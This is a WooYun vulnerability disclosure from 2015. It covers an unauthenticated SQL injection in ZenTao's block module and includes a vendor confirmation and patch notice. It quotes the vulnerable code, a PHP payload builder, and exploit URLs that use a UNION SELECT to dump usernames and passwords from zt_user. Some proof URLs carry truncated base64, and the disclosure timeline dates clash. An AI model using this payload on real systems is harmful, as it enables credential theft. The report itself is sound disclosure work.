当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0151486

漏洞标题:禅道项目管理软件 SQL注入漏洞(无需登录)

相关厂商:禅道

漏洞作者: xiao.k

提交时间:2015-11-03 16:13

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-03: 细节已通知厂商并且等待厂商处理中
2015-11-04: 厂商已经确认,细节仅向厂商公开
2015-11-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-29: 细节向核心白帽子及相关领域专家公开
2016-01-08: 细节向普通白帽子公开
2016-01-18: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

很多大厂商都在用,希望能得到足够的重视。

详细说明:

关键代码在 `module\block\control.php`,20-57行

public function main()
{
$lang = $this->get->lang;
$this->app->setClientLang($lang);
$this->app->loadLang('common');
$this->app->loadLang('block');
$mode = strtolower($this->get->mode);
if($mode == 'getblocklist')
{
echo $this->block->getAvailableBlocks();
}
elseif($mode == 'getblockform')
{
$code = strtolower($this->get->blockid);
$func = 'get' . ucfirst($code) . 'Params';
echo $this->block->$func();
}
elseif($mode == 'getblockdata')
{
$code = strtolower($this->get->blockid);
$params = $this->get->param;
$params = json_decode(base64_decode($params));
$sso = base64_decode($this->get->sso);
if(!isset($this->app->user)) $this->app->user = new stdclass();
if(!isset($this->app->user->account) or $this->app->user->account != $params->account) $this->app->user->account = $params->account;
$this->params = $params;
$this->view->sso = $sso;
$this->view->sign = strpos($sso, '&') === false ? '?' : '&';
$this->view->code = $this->get->blockid;
$func = 'print' . ucfirst($code) . 'Block';
$this->$func();
}
}


当mode为getblockdata时,我们传入的$params会被base64_decode和json_decode。如果我们传入的代码有特殊字符,GPC在此是起不到作用的。我们可以通过构造blockid,加载下面的函数。我拿`printTaskBlock`举个例子,实际上下面几个函数都有注入:

public function printTaskBlock()
{
$this->view->tasks = $this->loadModel('task')->getUserTasks($this->app->user->account, $this->params->type, $this->params->num, null, $this->params->orderBy);
$this->display();
}


我们来看一下`\module\task\model.php`里的`getUserTasks`。大家注意`getUserTasks`里的第二个参数

public function getUserTasks($account, $type = 'assignedTo', $limit = 0, $pager = null, $orderBy="id_desc")
{
$tasks = $this->dao->select('t1.*, t2.id as projectID, t2.name as projectName, t3.id as storyID, t3.title as storyTitle, t3.status AS storyStatus, t3.version AS latestStoryVersion')
->from(TABLE_TASK)->alias('t1')
->leftjoin(TABLE_PROJECT)->alias('t2')
->on('t1.project = t2.id')
->leftjoin(TABLE_STORY)->alias('t3')
->on('t1.story = t3.id')
->where('t1.deleted')->eq(0)
->beginIF($type != 'all')->andWhere("t1.$type")->eq($account)->fi()
->orderBy($orderBy)
->beginIF($limit > 0)->limit($limit)->fi()
->page($pager)
->fetchAll();
$this->loadModel('common')->saveQueryCondition($this->dao->get(), 'task');
if($tasks) return $this->processTasks($tasks);
return array();
}


$type 参数会带入到sql里。接下来我们需要构造param,以便传参数进来。

<?php
$exp = new stdclass();
$exp->account = "admin";
$exp->type = "id=-1 sql_inj #";

echo base64_encode(json_encode($exp));
// eyJhY2NvdW50IjoiYWRtaW4iLCJ0eXBlIjoiaWQ9LTEgc3FsX2luaiAjIn0=


当zentao的url模式为PATH_INFO时,我们构造的语句如下。大家可以把config/my.php里的trace设置为True。方便看调试语句。

1.JPG


因为注入点之前不包含order by,所以可以使用union 联合查询。

<?php
$exp = new stdclass();
$exp->account = "admin";
$exp->type = "id=-1 UNION SELECT 1,2,3,4,5,6,account,8,9,password,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8 FROM zt_user#";

echo base64_encode(json_encode($exp));
// eyJhY2NvdW50IjoiYWRtaW4iLCJ0eXBlIjoiaWQ9LTEgVU5JT04gU0VMRUNUIDEsMiwzLDQsNSw2LGFjY291bnQsOCw5LHBhc3N3b3JkLDEsMiwzLDQsNSw2LDcsOCw5LDAsMSwyLDMsNCw1LDYsNyw4LDksMCwxLDIsMyw0LDUsNiw3LDggRlJPTSB6dF91c2VyIyJ9


这里是官方的测试结果

http://**.**.**.**/block-main.html?mode=getblockdata&blockid=task&param=eyJhY2NvdW50IjoiYWRtaW4iLCJ0eXBlIjoiaWQ9LTEgVU5JT04gU0VMRUNUIDEsMiwzLDQsNSw2LGFjY291bnQsOCw5LHBhc3N3b3JkLDEsMiwzLDQsNSw2LDcsOCw5LDAsMSwyLDMsNCw1LDYsNyw4LDksMCwxLDIsMyw0LDUsNiw3LDggRlJPTSB6dF91c2VyIyJ9


2.JPG

漏洞证明:

当程序的requestType为PATH_INFO时,利用代码为

http://**.**.**.**/block-main.html?mode=getblockdata&blockid=task&param=eyJhY2NvdW50IjoiYWRtaW4WQ9LTEgVU5JT04gU0VMRUNUIDEsMiwzLDQsNSw2LGFjY291bnQsOCw5LHBhc3N3b3JkLDEsMiwzLDQsNSw2LDcsOCw5LDAsMSwyLDMsNCw1LDYsNyw4LDksMCwxLDIsMyw0LDUsNiw3LDggRlJPTSB6dF91c2VyIyJ9


当程序的requestType为GET时,利用代码为

http://**.**.**.**/index.php?m=block&f=main&mode=getblockdata&blockid=Task&param=eyJhY2NvdW50IjoiYWRtaW4WQ9LTEgVU5JT04gU0VMRUNUIDEsMiwzLDQsNSw2LGFjY291bnQsOCw5LHBhc3N3b3JkLDEsMiwzLDQsNSw2LDcsOCw5LDAsMSwyLDMsNCw1LDYsNyw4LDksMCwxLDIsMyw0LDUsNiw3LDggRlJPTSB6dF91c2VyIyJ9

修复方案:

加强过滤和权限控制。

版权声明:转载请注明来源 xiao.k@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-04 11:24

厂商回复:

这个是7.3版本以后的一个问题。谢谢反馈。已经发布补丁处理。

最新状态:

暂无